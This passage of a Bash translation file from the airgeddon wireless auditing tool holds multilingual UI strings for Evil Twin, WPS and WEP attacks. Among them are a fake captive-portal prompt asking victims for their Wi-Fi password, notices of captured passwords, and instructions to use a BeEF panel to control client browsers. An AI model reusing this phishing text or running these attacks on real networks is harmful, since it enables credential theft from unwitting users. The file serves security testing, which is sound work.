et_misc_texts["FRENCH",7]="Toujours pas de clients connectés" et_misc_texts["CATALAN",7]="Encara no hi han clients connectats" et_misc_texts["PORTUGUESE",7]="Ainda não há clientes conectados" et_misc_texts["RUSSIAN",7]="Клиенты ещё не подключены" et_misc_texts["GREEK",7]="Ακόμα κανένας συνδεδεμένος χρήστης" et_misc_texts["ITALIAN",7]="Non ci sono ancora clienti collegati" et_misc_texts["POLISH",7]="Nie ma jeszcze żadnych podłączonych klientów" et_misc_texts["GERMAN",7]="Keine Clients bisher verbunden" et_misc_texts["TURKISH",7]="Henüz hiçbir alıcı bağlanmadı" et_misc_texts["ARABIC",7]="لا يزال لا يوجد زبناء متصلون" et_misc_texts["CHINESE",7]="还没有客户端连接" et_misc_texts["ENGLISH",8]="airgeddon. Evil Twin attack captured passwords" et_misc_texts["SPANISH",8]="airgeddon. Contraseñas capturadas en ataque Evil Twin" et_misc_texts["FRENCH",8]="airgeddon. Mots de passe capturés par attaque Evil Twin" et_misc_texts["CATALAN",8]="airgeddon. Contrasenyes capturades amb atac Evil Twin" et_misc_texts["PORTUGUESE",8]="airgeddon. Senhas capturadas no ataque Evil Twin" et_misc_texts["RUSSIAN",8]="airgeddon. Атака Злой Двойник захватила пароли" et_misc_texts["GREEK",8]="airgeddon. Η επίθεση Evil Twin κατέγραψε κωδικούς πρόσβασης" et_misc_texts["ITALIAN",8]="airgeddon. Password catturate con l'attacco Evil Twin" et_misc_texts["POLISH",8]="airgeddon. Hasła przechwycone podczas ataku Evil Twin" et_misc_texts["GERMAN",8]="airgeddon. Passwörter im Evil Twin-Angriff erfassen" et_misc_texts["TURKISH",8]="airgeddon. Şeytani İkiz şifreleri yakaladı" et_misc_texts["ARABIC",8]="Evil Twin كلمات المرور التي تم التقاطها بواسطة هجوم .airgeddon" et_misc_texts["CHINESE",8]="airgeddon 邪恶双胞胎攻击捕获的密码" et_misc_texts["ENGLISH",9]="Wireless network, ESSID:" et_misc_texts["SPANISH",9]="Red inalámbrica, ESSID:" et_misc_texts["FRENCH",9]="Réseau sans fil, ESSID:" et_misc_texts["CATALAN",9]="Xarxa sense fils, ESSID:" et_misc_texts["PORTUGUESE",9]="ESSID da rede sem fio:" et_misc_texts["RUSSIAN",9]="Беспроводная сеть, ESSID:" et_misc_texts["GREEK",9]="Ασύρματο Δίκτυο, ESSID:" et_misc_texts["ITALIAN",9]="Rete wireless, ESSID:" et_misc_texts["POLISH",9]="Sieć bezprzewodowa, ESSID:" et_misc_texts["GERMAN",9]="WLAN, ESSID:" et_misc_texts["TURKISH",9]="Kablosuz ağ, ESSID:" et_misc_texts["ARABIC",9]=":الشبكه اللاسلكية" et_misc_texts["CHINESE",9]="无线网络,ESSID:" et_misc_texts["ENGLISH",10]="Enter your wireless network password to get internet access" et_misc_texts["SPANISH",10]="Introduzca su contraseña de acceso a la red inalámbrica para poder acceder a internet" et_misc_texts["FRENCH",10]="Veuillez saisir la clé de sécurité du réseau wifi pour obtenir accès à internet" et_misc_texts["CATALAN",10]="Introduïu la contrasenya d'accés a la xarxa sense fils per poder accedir a internet" et_misc_texts["PORTUGUESE",10]="Digite a senha da rede wifi para ter acesso a internet" et_misc_texts["RUSSIAN",10]="Введите пароль Вашей беспроводной сети для подключения к Интернету" et_misc_texts["GREEK",10]="Εισάγετε τον κωδικό πρόσβασης του wifi δικτύου σας για να υπάρξει σύνδεση στο διαδίκτυο" et_misc_texts["ITALIAN",10]="Introdurre la password della rete wireless per poter accedere a internet" et_misc_texts["POLISH",10]="Wprowadź hasło do sieci bezprzewodowej, aby uzyskać dostęp do internetu" et_misc_texts["GERMAN",10]="Geben Sie Ihr WLAN-Passwort für den Internetzugang ein" et_misc_texts["TURKISH",10]="İnternete bağlanabilmek için kablosuz ağ şifrenizi girmelisiniz" et_misc_texts["ARABIC",10]="أدخل كلمة مرور الشبكة اللاسلكية للوصول إلى الإنترنت" et_misc_texts["CHINESE",10]="请输入您的无线网络密码以访问互联网" et_misc_texts["ENGLISH",11]="Password" et_misc_texts["SPANISH",11]="Contraseña" et_misc_texts["FRENCH",11]="Clé de sécurité" et_misc_texts["CATALAN",11]="Contrasenya" et_misc_texts["PORTUGUESE",11]="Senha" et_misc_texts["RUSSIAN",11]="Пароль" et_misc_texts["GREEK",11]="Κωδικός πρόσβασης" et_misc_texts["ITALIAN",11]="Password" et_misc_texts["POLISH",11]="Hasło" et_misc_texts["GERMAN",11]="Passwort" et_misc_texts["TURKISH",11]="Şifre" et_misc_texts["ARABIC",11]="كلمه السر" et_misc_texts["CHINESE",11]="密码" et_misc_texts["ENGLISH",12]="Show password" et_misc_texts["SPANISH",12]="Mostrar contraseña" et_misc_texts["FRENCH",12]="Afficher les caractères" et_misc_texts["CATALAN",12]="Mostra la contrasenya" et_misc_texts["PORTUGUESE",12]="Mostrar senha" et_misc_texts["RUSSIAN",12]="Показать пароль" et_misc_texts["GREEK",12]="Εμφάνιση κωδικού πρόσβασης" et_misc_texts["ITALIAN",12]="Mostrare password" et_misc_texts["POLISH",12]="Pokaż hasło" et_misc_texts["GERMAN",12]="Passwort anzeigen" et_misc_texts["TURKISH",12]="Şifreyi göster" et_misc_texts["ARABIC",12]="إظهار كلمة المرور" et_misc_texts["CHINESE",12]="显示密码" et_misc_texts["ENGLISH",13]="Submit" et_misc_texts["SPANISH",13]="Enviar" et_misc_texts["FRENCH",13]="Enregistrer" et_misc_texts["CATALAN",13]="Enviar" et_misc_texts["PORTUGUESE",13]="Enviar" et_misc_texts["RUSSIAN",13]="Отправить" et_misc_texts["GREEK",13]="Υποβολή" et_misc_texts["ITALIAN",13]="Inviare" et_misc_texts["POLISH",13]="Wyślij" et_misc_texts["GERMAN",13]="Verbinden" et_misc_texts["TURKISH",13]="Gönder" et_misc_texts["ARABIC",13]="إرسال" et_misc_texts["CHINESE",13]="提交" et_misc_texts["ENGLISH",14]="An unexpected error occurred, redirecting to the main screen" et_misc_texts["SPANISH",14]="Ha ocurrido un error inesperado, redirigiendo a la pantalla principal" et_misc_texts["FRENCH",14]="Une erreur inattendue s'est produite, retour à l'écran principal" et_misc_texts["CATALAN",14]="Hi ha hagut un error inesperat, redirigint a la pantalla principal" et_misc_texts["PORTUGUESE",14]="Ocorreu um erro inesperado, redirecionando para a página principal" et_misc_texts["RUSSIAN",14]="Непредвиденная ошибка, перенаправление на главную страницу" et_misc_texts["GREEK",14]="Παρουσιάστηκε μη αναμενόμενο σφάλμα, Θα καθοδηγηθείτε στην κύρια οθόνη" et_misc_texts["ITALIAN",14]="Si è verificato un errore imprevisto, reindirizzando alla schermata principale" et_misc_texts["POLISH",14]="Wystąpił nieoczekiwany błąd, zostaniesz przekierowany do ekranu głównego" et_misc_texts["GERMAN",14]="Ein Fehler ist aufgetreten, Sie werden zur Homepage weitergeleitet" et_misc_texts["TURKISH",14]="Beklenmeyen bir hata oluştu, anasayfaya yönlendiriliyorsunuz" et_misc_texts["ARABIC",14]="حدث خطأ غير متوقع، سيتم إعادة التوجيه إلى الشاشة الرئيسية" et_misc_texts["CHINESE",14]="出现意外错误,正在重定向到主屏幕" et_misc_texts["ENGLISH",15]="Internet Portal" et_misc_texts["SPANISH",15]="Portal de Internet" et_misc_texts["FRENCH",15]="Portail Internet" et_misc_texts["CATALAN",15]="Portal d'Internet" et_misc_texts["PORTUGUESE",15]="Portal de Internet" et_misc_texts["RUSSIAN",15]="Интернет-портал" et_misc_texts["GREEK",15]="Internet Portal" et_misc_texts["ITALIAN",15]="Portale Internet" et_misc_texts["POLISH",15]="Portal internetowy" et_misc_texts["GERMAN",15]="Internet Portal" et_misc_texts["TURKISH",15]="İnternet Portalı" et_misc_texts["ARABIC",15]="بوابة الإنترنت" et_misc_texts["CHINESE",15]="门户网站" et_misc_texts["ENGLISH",16]="The password must be at least 8 characters" et_misc_texts["SPANISH",16]="La contraseña debe tener al menos 8 caracteres" et_misc_texts["FRENCH",16]="La clé de sécurité doit contenir au moins 8 caractères" et_misc_texts["CATALAN",16]="La contrasenya ha de tenir almenys 8 caràcters" et_misc_texts["PORTUGUESE",16]="A senha deve ter no mínimo 8 caracteres" et_misc_texts["RUSSIAN",16]="Длина пароля должна быть не менее 8 символов" et_misc_texts["GREEK",16]="Ο κωδικός πρόσβασης πρέπει να αποτελείται από τουλάχιστον 8 χαρακτήρες" et_misc_texts["ITALIAN",16]="La password deve contenere almeno 8 caratteri" et_misc_texts["POLISH",16]="Hasło musi mieć długość co najmniej 8 znaków" et_misc_texts["GERMAN",16]="Das Passwort muss mindestens 8 Zeichen lang sein" et_misc_texts["TURKISH",16]="Şifre en az 8 karakter olmalıdır" et_misc_texts["ARABIC",16]="يجب أن تكون كلمة السر على الأقل 8 أحرف" et_misc_texts["CHINESE",16]="密码必须至少为 8 个字符" et_misc_texts["ENGLISH",17]="The password is incorrect, redirecting to the main screen" et_misc_texts["SPANISH",17]="La contraseña introducida es incorrecta, redirigiendo a la pantalla principal" et_misc_texts["FRENCH",17]="Clé de sécurité incorrecte, retour à l'écran principal" et_misc_texts["CATALAN",17]="La contrasenya introduïda és incorrecta, redirigint a la pantalla principal" et_misc_texts["PORTUGUESE",17]="A senha está incorreta, redirecionando para a página principal" et_misc_texts["RUSSIAN",17]="Неправильный пароль, возврат на главную страницу" et_misc_texts["GREEK",17]="Ο κωδικός πρόσβασης είναι λανθασμένος, Θα καθοδηγηθείτε στην κύρια οθόνη" et_misc_texts["ITALIAN",17]="La password non è corretta, reindirizzando alla schermata principale" et_misc_texts["POLISH",17]="Wprowadzone hasło jest niepoprawne, zostaniesz przekierowany do ekranu głównego" et_misc_texts["GERMAN",17]="Das eingegebene Passwort ist falsch, Sie werden zur Homepage weitergeleitet" et_misc_texts["TURKISH",17]="Şifre yanlış, anasayfaya yönlendiriliyorsunuz" et_misc_texts["ARABIC",17]="كلمة السر غير صحيحة، سيتم إعادة التوجيه إلى الشاشة الرئيسية" et_misc_texts["CHINESE",17]="密码错误,正在跳转到主界面" et_misc_texts["ENGLISH",18]="The password is correct, the connection will be restablished in a few moments" et_misc_texts["SPANISH",18]="La contraseña es correcta, la conexión se restablecerá en unos momentos" et_misc_texts["FRENCH",18]="Clé de sécurité correcte, la connexion sera établie dans quelques instants" et_misc_texts["CATALAN",18]="La contrasenya és correcta, la connexió es restablirà en uns moments" et_misc_texts["PORTUGUESE",18]="A senha está correta, a conexão será estabelecida em alguns momentos" et_misc_texts["RUSSIAN",18]="Пароль верен, подключение устанавливается" et_misc_texts["GREEK",18]="Ο κωδικός πρόσβασης είναι σωστός, η σύνδεση θα αποκατασταθεί σε λίγα λεπτά" et_misc_texts["ITALIAN",18]="La password è corretta, la connessione sará ripristinata in un momento" et_misc_texts["POLISH",18]="Hasło jest prawidłowe, połączenie zostanie przywrócone za chwilę" et_misc_texts["GERMAN",18]="Das Passwort ist richtig, die Verbindung wird in kurzer Zeit wiederhergestellt" et_misc_texts["TURKISH",18]="Şifre doğru, bağlantınız bir kaç dakika içerisinde yeniden gerçekleşecektir" et_misc_texts["ARABIC",18]="كلمة السر صحيحة، سيتم إعادة الاتصال خلال لحظات قليلة" et_misc_texts["CHINESE",18]="密码正确,稍后将重新建立连接" et_misc_texts["ENGLISH",19]="airgeddon. Captive portal Evil Twin attack captured password" et_misc_texts["SPANISH",19]="airgeddon. Contraseña capturada en el portal cautivo del ataque Evil Twin" et_misc_texts["FRENCH",19]="airgeddon. Mot de passe capturé par le portail captif de l'attaque Evil Twin" et_misc_texts["CATALAN",19]="airgeddon. Contrasenya capturada al portal captiu de l'atac Evil Twin" et_misc_texts["PORTUGUESE",19]="airgeddon. Senha capturada no ataque Evil Twin portal cativo" et_misc_texts["RUSSIAN",19]="airgeddon. Атака Злой Двойник + Перехватывающий портал захватили пароль" et_misc_texts["GREEK",19]="airgeddon. Η επίθεση Evil Twin με captive portal κατέγραψε τον κωδικό πρόσβασης" et_misc_texts["ITALIAN",19]="airgeddon. Password catturata nel captive portal dell'attacco Evil Twin" et_misc_texts["POLISH",19]="airgeddon. Hasło przechwycone podczas ataku captive portal Evil Twin" et_misc_texts["GERMAN",19]="airgeddon. Passwort im Evil Twin Captive Portal gefangen" et_misc_texts["TURKISH",19]="airgeddon. Esaret Portalı Şeytani ikizi şifreyi yakaladı" et_misc_texts["ARABIC",19]="Evil Twin تم التقاط كلمة السر بواسطة البوابة الأسيرة لهجوم .airgeddon" et_misc_texts["CHINESE",19]="airgeddon 邪恶双胞胎强制门户攻击捕获的密码" et_misc_texts["ENGLISH",20]="Attempts" et_misc_texts["SPANISH",20]="Intentos" et_misc_texts["FRENCH",20]="Essais" et_misc_texts["CATALAN",20]="Intents" et_misc_texts["PORTUGUESE",20]="Tentativas" et_misc_texts["RUSSIAN",20]="Попытки" et_misc_texts["GREEK",20]="Προσπάθειες" et_misc_texts["ITALIAN",20]="Tentativi" et_misc_texts["POLISH",20]="Próby" et_misc_texts["GERMAN",20]="Versuche" et_misc_texts["TURKISH",20]="Denemeler" et_misc_texts["ARABIC",20]="محاولات" et_misc_texts["CHINESE",20]="尝试" et_misc_texts["ENGLISH",21]="last password:" et_misc_texts["SPANISH",21]="última contraseña:" et_misc_texts["FRENCH",21]="dernier mot de passe:" et_misc_texts["CATALAN",21]="última contrasenya:" et_misc_texts["PORTUGUESE",21]="última senha:" et_misc_texts["RUSSIAN",21]="последний пароль:" et_misc_texts["GREEK",21]="τελευταίος κωδικός πρόσβασης:" et_misc_texts["ITALIAN",21]="ultima password:" et_misc_texts["POLISH",21]="ostatnie hasło:" et_misc_texts["GERMAN",21]="letztes Passwort:" et_misc_texts["TURKISH",21]="son şifre:" et_misc_texts["ARABIC",21]="كلمة المرور الأخيرة:" et_misc_texts["CHINESE",21]="最后密码:" et_misc_texts["ENGLISH",22]="Captured passwords on failed attempts" et_misc_texts["SPANISH",22]="Contraseñas capturadas en intentos fallidos" et_misc_texts["FRENCH",22]="Mots de passe capturés lors des tentatives infructueuses" et_misc_texts["CATALAN",22]="Contrasenyes capturades en intents fallits" et_misc_texts["PORTUGUESE",22]="Senhas erradas capturadas durante as tentativas" et_misc_texts["RUSSIAN",22]="Пароли, захваченные в неудачных попытках" et_misc_texts["GREEK",22]="Καταγεγραμμένοι κωδικοί πρόσβασης σε αποτυχημένες προσπάθειες" et_misc_texts["ITALIAN",22]="Password catturate in tentativi falliti" et_misc_texts["POLISH",22]="Hasła przechwycone podczas nieudanych prób" et_misc_texts["GERMAN",22]="Gefundene Passwörter bei Fehlversuchen" et_misc_texts["TURKISH",22]="Başarısız girişimlerde yakalanan şifreler" et_misc_texts["ARABIC",22]="تم التقاط كلمات السر في المحاولات الفاشلة" et_misc_texts["CHINESE",22]="尝试失败时捕获的密码" et_misc_texts["ENGLISH",23]="Password captured successfully" et_misc_texts["SPANISH",23]="Contraseña capturada con éxito" et_misc_texts["FRENCH",23]="Mot de passe capturé avec succès" et_misc_texts["CATALAN",23]="Contrasenya capturada amb èxit" et_misc_texts["PORTUGUESE",23]="Senha capturada com sucesso" et_misc_texts["RUSSIAN",23]="Пароль успешно захвачен" et_misc_texts["GREEK",23]="Ο κωδικός πρόσβασης καταγράφτηκε επιτυχώς" et_misc_texts["ITALIAN",23]="Password catturata con successo" et_misc_texts["POLISH",23]="Hasło zostało pomyślnie przechwycone" et_misc_texts["GERMAN",23]="Passwörter erfolgreich gefunden" et_misc_texts["TURKISH",23]="Şifre başarıyla yakalandı" et_misc_texts["ARABIC",23]="تم التقاط كلمة السر بنجاح" et_misc_texts["CHINESE",23]="密码获取成功" et_misc_texts["ENGLISH",24]="The password was saved on file" et_misc_texts["SPANISH",24]="La contraseña se ha guardado en el fichero" et_misc_texts["FRENCH",24]="Le mot de passe est enregistré dans le fichier" et_misc_texts["CATALAN",24]="La contrasenya s'ha guardat en el fitxer" et_misc_texts["PORTUGUESE",24]="A senha foi salva no arquivo" et_misc_texts["RUSSIAN",24]="Пароль был сохранён в файле" et_misc_texts["GREEK",24]="Ο κωδικός πρόσβασης αποθηκεύτηκε σε αρχείο" et_misc_texts["ITALIAN",24]="La password è stata salvata nel file" et_misc_texts["POLISH",24]="Hasło zostało zapisane do pliku" et_misc_texts["GERMAN",24]="Das Passwort wurde in der Datei gespeichert" et_misc_texts["TURKISH",24]="Şifre dosyaya kaydedildi" et_misc_texts["ARABIC",24]="تم حفظ كلمة السر في الملف" et_misc_texts["CHINESE",24]="密码已保存至文件" et_misc_texts["ENGLISH",25]="Press [Enter] on the main script window to continue, this window will be closed" et_misc_texts["SPANISH",25]="Pulsa [Enter] en la ventana principal del script para continuar, esta ventana se cerrará" et_misc_texts["FRENCH",25]="Appuyez sur [Enter] dans la fenêtre principale du script pour continuer, cette fenêtre se fermera" et_misc_texts["CATALAN",25]="Prem [Enter] a la finestra principal del script per continuar, aquesta finestra es tancarà" et_misc_texts["PORTUGUESE",25]="Pressione [Enter] na janela principal do script para continuar e esta janela será fechada" et_misc_texts["RUSSIAN",25]="Нажмите [Enter] в главном окне для продолжения, это окно будет закрыто" et_misc_texts["GREEK",25]="Πατήστε [Enter] στο κύριο παράθυρο του script για να συνεχίσετε, το παράθυρο αυτό θα κλείσει" et_misc_texts["ITALIAN",25]="Premere il tasto [Enter] nella finestra principale dello script per continuare, questa finestra si chiuderà" et_misc_texts["POLISH",25]="Wciśnij [Enter] w oknie głównym skryptu aby kontynuować, to okno zostanie zamknięte" et_misc_texts["GERMAN",25]="Drücken Sie [Enter] im Hauptfenster um fortzufahren, dieses Fenster wird geschlossen" et_misc_texts["TURKISH",25]="Devam etmek için [Enter] tuşuna basınız, bu sayfa kapatılacaktır" et_misc_texts["ARABIC",25]="في نافذة البرنامج الرئيسية للمتابعة، سيتم إغلاق هذه النافذة [Enter] اضغط على" et_misc_texts["CHINESE",25]="在脚本主窗口按 [Enter] 键继续,该窗口将关闭" et_misc_texts["ENGLISH",26]="Error. The password must be at least 8 characters. Redirecting to the main screen" et_misc_texts["SPANISH",26]="Error. La contraseña debe tener al menos 8 caracteres. Redirigiendo a la pantalla principal" et_misc_texts["FRENCH",26]="Erreur. La clé de sécurité doit contenir au moins 8 caractères. Retour à l'écran principal" et_misc_texts["CATALAN",26]="Error. La contrasenya ha de tenir almenys 8 caràcters. Redirigint a la pantalla principal" et_misc_texts["PORTUGUESE",26]="Erro. A senha deve ter no mínimo 8 caracteres. Redirecionando para a página principal" et_misc_texts["RUSSIAN",26]="Ошибка. В пароле должно быть не менее 8 символов. Перенаправление на главную страницу" et_misc_texts["GREEK",26]="Σφάλμα. Ο κωδικός πρόσβασης πρέπει να αποτελείται από τουλάχιστον 8 χαρακτήρες. Θα καθοδηγηθείτε στην κύρια οθόνη" et_misc_texts["ITALIAN",26]="Errore. La password deve contenere almeno 8 caratteri. Reindirizzando alla schermata principale" et_misc_texts["POLISH",26]="Błąd. Hasło musi mieć co najmniej 8 znaków. Przekierowywanie do ekranu głównego" et_misc_texts["GERMAN",26]="Fehler. Das Passwort muss mindestens 8 Zeichen lang sein. Zur Homepage weitergeleitet" et_misc_texts["TURKISH",26]="Hata. Şifre en az 8 karakter olmalıdır. Anasayfaya yönlendiriliyorsunuz" et_misc_texts["ARABIC",26]="خطأ. يجب أن تتكون كلمة المرور من 8 أحرف على الأقل.حة، سيتم إعادة التوجيه إلى الشاشة الرئيسية" et_misc_texts["CHINESE",26]="错误。密码必须至少为 8 个字符。重定向到主屏幕" et_misc_texts["ENGLISH",27]="This attack has two parts. Watch the sniffer's screen to see if a password appears. You can also open BeEF control panel at ${white_color}${beef_control_panel_url}${pink_color} , log in (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) and try to control the clients browser" et_misc_texts["SPANISH",27]="Este ataque tiene dos partes. Estate atento a la pantalla del sniffer para ver si aparece alguna contraseña. También puedes abrir el panel de control de BeEF en ${white_color}${beef_control_panel_url}${pink_color} , hacer login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) e intentar controlar el navegador de los clientes" et_misc_texts["FRENCH",27]="Cette attaque comporte deux parties. Vérifiez pendant l'attaque dans la console du sniffeur si un mot de passe a été capturé. Vous pouvez également ouvrir le BeEF du panneau de commande dans ${white_color}${beef_control_panel_url}${pink_color} , pour vous connecter (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) et essayer de contrôler le navigateur client" et_misc_texts["CATALAN",27]="Aquest atac té dues parts. Amb aquest atac, estigues atent a la pantalla de l'sniffer per veure si apareix alguna contrasenya. També pots obrir el panell de control de BeEF en ${white_color}${beef_control_panel_url}${pink_color} , fer login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) i intentar controlar el navegador dels clients" et_misc_texts["PORTUGUESE",27]="Este ataque tem duas partes. Com este ataque, fique atento na tela do sniffer para ver se aparece alguma senha. Você também pode abrir o painel de controle do BeEF em ${white_color}${beef_control_panel_url}${pink_color} , login (user: ${white_color}beef${pink_color} / senha: ${white_color}${beef_pass}${pink_color}) e tentar controlar o navegador dos clientes" et_misc_texts["RUSSIAN",27]="Эта атака идёт по двум направлениям. Вы можете наблюдать за окном сниффера, чтобы отследить появление пароля. Также можете перейти в панель управления BeEF ${white_color}${beef_control_panel_url}${pink_color} , учётные данные для входа (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) и попытаться управлять браузером клиентов" et_misc_texts["GREEK",27]="Αυτή η επίθεση έχει δύο μέρη. Παρακολουθήστε την οθόνη του sniffer για να δείτε εαν εμφανιστεί κάποιος κωδικός. Μπορείτε επίσης να ανοίξετε τον πίνακα ελέγχου του BeEF στο ${white_color}${beef_control_panel_url}${pink_color} , συνδεθείτε (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) και προσπαθείστε να ελέγξετε τον browser του χρήστη-πελάτη" et_misc_texts["ITALIAN",27]="Questo attacco è composto da due parti. Presta attenzione alla schermata dello sniffer per vedere se compare una password. È inoltre possibile aprire il pannello di controllo di BeEF in ${white_color}${beef_control_panel_url}${pink_color} , effettuare il login (utente: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) e cercare di controllare il navigatore degli utenti" et_misc_texts["POLISH",27]="Ten atak ma dwie części. Obserwuj ekran sniffera aby sprawdzić, czy pojawia się hasło. Możesz także otworzyć panel sterowania BeEF w ${white_color}${beef_control_panel_url}${pink_color} , zaloguj się (użytkownik: ${white_color}beef${pink_color} / hasło: ${white_color}${beef_pass}${pink_color}) i spróbuj kontrolować przeglądarkę klientów" et_misc_texts["GERMAN",27]="Dieser Angriff besteht aus zwei Teilen. Bleiben Sie auf dem Sniffer-Bildschirm, um zu sehen, ob ein Passwort erscheint. Sie können auch das BeEF-Kontrollfeld in ${white_color}${beef_control_panel_url}${pink_color} öffnen, login (Benutzer: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) und versuchen den Browser des Clients zu kontrollieren" et_misc_texts["TURKISH",27]="Bu saldırı iki parçadan oluşur. Sniffer ekranını şifre görünene kadar izleyin. Ayrıca BeEF kontrol panelini açabilir ${white_color}${beef_control_panel_url}${pink_color} , log in (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) ve kontrol edebilirsiniz" et_misc_texts["ARABIC",27]="هذا الهجوم من جزئين. تحقق أثناء الهجوم في وحدة تحكم المتشمم إذا تم التقاط كلمة سر. يمكنك أيضًا فتحوحاول التحكم في متصفح الزبون (${white_color}${beef_pass}${pink_color}:كلمة السر ${white_color}beef${pink_color}:المستخدم) ${white_color}${beef_control_panel_url}${pink_color} في BeEF هذا الهجوم من جزئين. تحقق أثناء الهجوم في وحدة تحكم المتشمم إذا تم التقاط كلمة سر. يمكنك أيضًا فتح" et_misc_texts["CHINESE",27]="这次攻击有两个部分。观察嗅探器的屏幕以查看是否出现密码。您还可以在 ${white_color}${beef_control_panel_url}${pink_color} 打开 BeEF 控制面板,登录 (用户: ${white_color}beef${pink_color} / 密码: ${white_color}${beef_pass}${pink_color}) 并尝试控制客户端浏览器" et_misc_texts["ENGLISH",28]="Portal accessed" et_misc_texts["SPANISH",28]="Accedió al portal" et_misc_texts["FRENCH",28]="Portail consulté" et_misc_texts["CATALAN",28]="Portal accedit" et_misc_texts["PORTUGUESE",28]="Portal acessado" et_misc_texts["RUSSIAN",28]="Доступ к порталу получен" et_misc_texts["GREEK",28]="Eισήχθη στο portal" et_misc_texts["ITALIAN",28]="Ha acceduto al portale" et_misc_texts["POLISH",28]="Uzyskano dostęp do portalu" et_misc_texts["GERMAN",28]="Portal aufgerufen" et_misc_texts["TURKISH",28]="Portala erişildi" et_misc_texts["ARABIC",28]="تم الوصول إلى البوابة" et_misc_texts["CHINESE",28]="门户访问成功" et_misc_texts["ENGLISH",29]="Is alive" et_misc_texts["SPANISH",29]="Está activo" et_misc_texts["FRENCH",29]="Est actif" et_misc_texts["CATALAN",29]="Està actiu" et_misc_texts["PORTUGUESE",29]="Está ativo" et_misc_texts["RUSSIAN",29]="Активен" et_misc_texts["GREEK",29]="Είναι ενεργό" et_misc_texts["ITALIAN",29]="È attivo" et_misc_texts["POLISH",29]="Jest aktywny" et_misc_texts["GERMAN",29]="Ist aktiv" et_misc_texts["TURKISH",29]="Aktif" et_misc_texts["ARABIC",29]="نشط" et_misc_texts["CHINESE",29]="处于活动状态" declare -gA wps_texts wps_texts["ENGLISH",0]="The password was saved on file" wps_texts["SPANISH",0]="La contraseña se ha guardado en el fichero" wps_texts["FRENCH",0]="Le mot de passe est enregistré dans le fichier" wps_texts["CATALAN",0]="La contrasenya s'ha guardat en el fitxer" wps_texts["PORTUGUESE",0]="A senha foi salva no arquivo" wps_texts["RUSSIAN",0]="Пароль был сохранён в файле" wps_texts["GREEK",0]="Ο κωδικός πρόσβασης αποθηκεύτηκε σε αρχείο" wps_texts["ITALIAN",0]="La password è stata salvata nel file" wps_texts["POLISH",0]="Hasło zostało zapisane do pliku" wps_texts["GERMAN",0]="Das Passwort wurde in der Datei gespeichert" wps_texts["TURKISH",0]="Şifre dosyaya kaydedildi" wps_texts["ARABIC",0]="تم حفظ كلمة السر في ملف" wps_texts["CHINESE",0]="密码已保存至文件" wps_texts["ENGLISH",1]="airgeddon. Decrypted password during WPS attack" wps_texts["SPANISH",1]="airgeddon. Contraseña descifrada en ataque WPS" wps_texts["FRENCH",1]="airgeddon. Mot de passe déchiffré à l'aide de l'attaque WPS" wps_texts["CATALAN",1]="airgeddon. Contrasenya desxifrada amb l'atac WPS" wps_texts["PORTUGUESE",1]="airgeddon. Senha descriptografada no ataque WPS" wps_texts["RUSSIAN",1]="airgeddon. Пароль расшифрован во время WPS атаки" wps_texts["GREEK",1]="airgeddon. Ο κωδικός αποκρυπτογραφήθηκε κατά την επίθεση WPS" wps_texts["ITALIAN",1]="airgeddon. Password decifrata con l'attacco WPS" wps_texts["POLISH",1]="airgeddon. Hasło odszyfrowane w ataku WPS" wps_texts["GERMAN",1]="airgeddon. Passwort während WPS-Angriff entschlüsselt" wps_texts["TURKISH",1]="airgeddon. WPS saldırısı sırasında çözülen şifre" wps_texts["ARABIC",1]="WPS فك تشفير كلمة السر أثناء هجوم .airgeddon" wps_texts["CHINESE",1]="airgeddon WPS 攻击期间解密的密码" wps_texts["ENGLISH",2]="Channel" wps_texts["SPANISH",2]="Canal" wps_texts["FRENCH",2]="Canal" wps_texts["CATALAN",2]="Canal" wps_texts["PORTUGUESE",2]="Canal" wps_texts["RUSSIAN",2]="Канал" wps_texts["GREEK",2]="Κανάλι" wps_texts["ITALIAN",2]="Canale" wps_texts["POLISH",2]="Kanał" wps_texts["GERMAN",2]="Kanal" wps_texts["TURKISH",2]="Kanal" wps_texts["ARABIC",2]="قناة" wps_texts["CHINESE",2]="信道" declare -gA wep_texts wep_texts["ENGLISH",0]="Press [Enter] on the main script window to continue, this window will be closed" wep_texts["SPANISH",0]="Pulsa [Enter] en la ventana principal del script para continuar, esta ventana se cerrará" wep_texts["FRENCH",0]="Appuyez sur [Enter] dans la fenêtre principale du script pour continuer, cette fenêtre se fermera" wep_texts["CATALAN",0]="Prem [Enter] a la finestra principal del script per continuar, aquesta finestra es tancarà" wep_texts["PORTUGUESE",0]="Pressione [Enter] na janela principal do script para continuar e esta janela será fechada" wep_texts["RUSSIAN",0]="Нажмите [Enter] в главном окне для продолжения, это окно будет закрыто" wep_texts["GREEK",0]="Πατήστε [Enter] στο κύριο παράθυρο του script για να συνεχίσετε, το παράθυρο αυτό θα κλείσει" wep_texts["ITALIAN",0]="Premere il tasto [Enter] nella finestra principale dello script per continuare, questa finestra si chiuderà" wep_texts["POLISH",0]="Wciśnij [Enter] w oknie głównym skryptu aby kontynuować, to okno zostanie zamknięte" wep_texts["GERMAN",0]="Drücken Sie [Enter] im Hauptfenster des Skripts um fortzufahren. Dieses Fenster wird geschlossen" wep_texts["TURKISH",0]="Yazılımın ana penceresinde [Enter] tuşlayarak devam ediniz. Bu pencere kapatılacak" wep_texts["ARABIC",0]="في النافذة الرئيسية للبرنامج للمتابعة ، وستغلق هذه النافذة [Enter] اضغط على" wep_texts["CHINESE",0]="在脚本主窗口按 [Enter] 键继续,该窗口将关闭" wep_texts["ENGLISH",1]="airgeddon. Decrypted password during WEP attack" wep_texts["SPANISH",1]="airgeddon. Contraseña descifrada en ataque WEP" wep_texts["FRENCH",1]="airgeddon. Mot de passe déchiffré à l'aide de l'attaque WEP" wep_texts["CATALAN",1]="airgeddon. Contrasenya desxifrada amb l'atac WEP" wep_texts["PORTUGUESE",1]="airgeddon. Senha decifrada no ataque WEP" wep_texts["RUSSIAN",1]="airgeddon. Пароль расшифрован во время WEP атаки" wep_texts["GREEK",1]="airgeddon. Ο κωδικός αποκρυπτογραφήθηκε κατά την επίθεση 